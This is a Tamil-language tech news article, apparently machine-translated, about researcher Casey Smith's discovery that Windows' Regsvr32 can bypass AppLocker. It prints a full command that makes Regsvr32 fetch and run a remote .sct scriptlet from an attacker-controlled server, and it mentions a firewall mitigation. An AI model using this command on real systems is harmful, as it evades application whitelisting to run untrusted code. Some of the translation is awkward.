கேசி ஸ்மித் என்ற பெயரில் செல்லும் கொலராடோவைச் சேர்ந்த ஒரு ஆராய்ச்சியாளர், விண்டோஸ் 10 இல் ஆப்லொக்கரைத் தவிர்ப்பதற்கு Regsvr32 ஐப் பயன்படுத்தலாம் என்பதைக் கண்டறிந்துள்ளார், மேலும் இது கணினி பயனர்களுக்கு, குறிப்பாக வணிகச் சூழலில் உள்ளவர்களுக்கு ஒரு பெரிய பிரச்சினையாகும்.

AppLocker முதன்முதலில் விண்டோஸ் 7 மற்றும் விண்டோஸ் சர்வர் 2008 R2 இல் அறிமுகப்படுத்தப்பட்டது. கோப்புகளின் தனிப்பட்ட அடையாளத்தின் அடிப்படையில் சில அல்லது அனைத்து பயன்பாடுகளையும் எந்த குழு அல்லது பயனர்கள் பயன்படுத்திக் கொள்ளலாம் என்பதை நிர்வாகிகள் குறிப்பிட அனுமதிக்கும் வகையில் இது வடிவமைக்கப்பட்டுள்ளது. நீங்கள் AppLocker ஐப் பயன்படுத்த விரும்பும் நபராக இருந்தால், பயன்பாடுகளை அவற்றின் தடங்களில் இயக்கவோ அல்லது நிறுத்தவோ அனுமதிக்க சில விதிகளை உருவாக்க இது பயன்படுத்தப்படலாம் என்பது பொதுவான அறிவாக இருக்க வேண்டும்.

தெரியாதவர்களுக்கு, Reglr32 ஐ DLL களைப் பதிவுசெய்து பதிவுசெய்ய பயன்படுத்தலாம். இது ஒரு கிளிக் கருவி அல்ல, ஏனெனில் இது ஒரு கட்டளை வரி பயன்பாடு ஆகும், எனவே மேம்பட்ட கணினி பயனர்கள் மட்டுமே அதை வழங்குவதைப் பயன்படுத்திக் கொள்ள வேண்டும்.

இந்த நுட்பத்தைப் பயன்படுத்துவதன் மூலம், இது கணினி அமைப்பின் பதிவேட்டை மாற்றாது என்பதை நாங்கள் புரிந்துகொள்கிறோம், இது ஏதேனும் மாற்றங்கள் செய்யப்பட்டுள்ளதா என்பதை நிர்வாகிகளுக்குத் தெரியப்படுத்துகிறது.

regsvr32 / s / n / u /i:http://server/file.sct scrobj.dll

“இங்கே ஆச்சரியமான விஷயம் என்னவென்றால், regsvr32 ஏற்கனவே ப்ராக்ஸி விழிப்புடன் உள்ளது, TLS ஐப் பயன்படுத்துகிறது, வழிமாற்றுகளைப் பின்பற்றுகிறது.… மேலும்… நீங்கள் கையொப்பமிடப்பட்ட, இயல்புநிலை MS பைனரியை யூகித்தீர்கள். எனவே, நீங்கள் செய்ய வேண்டியதெல்லாம், நீங்கள் கட்டுப்படுத்தும் இடத்தில் your.sct கோப்பை ஹோஸ்ட் செய்வதுதான் ”என்று ஸ்மித் எழுதினார்.

மேலே உள்ள நுட்பத்திற்கு நிர்வாக சலுகைகள் தேவையில்லை, அது பதிவேட்டை மாற்றாது. மேலும், ஸ்கிரிப்ட்களை HTTP அல்லது HTTPS இரண்டிலும் அழைக்கலாம். இந்த நேரத்தில், மைக்ரோசாப்ட் இந்த சிறிய சிக்கலுக்கான ஒரு இணைப்பை வெளியிடவில்லை, எனவே இந்த கட்டத்தில் ஒரே வழி விண்டோஸ் ஃபயர்வால் வழியாக Regsvr32 ஐ தடுப்பதாகும்.

சுவாரஸ்யமாக, மென்பொருள் நிறுவனமானது அதன் இயக்க முறைமை எதிர்கொள்ளும் இந்த பாதுகாப்பு பிரச்சினை குறித்து இன்னும் பதிலளிக்கவில்லை. இப்போது அது திறந்த நிலையில் உள்ளது, எதிர்கால இணைப்பு பற்றிய பேச்சுகளுடன் நிறுவனத்திடமிருந்து ஏதாவது கேட்கலாம் என்று எதிர்பார்க்கிறோம்.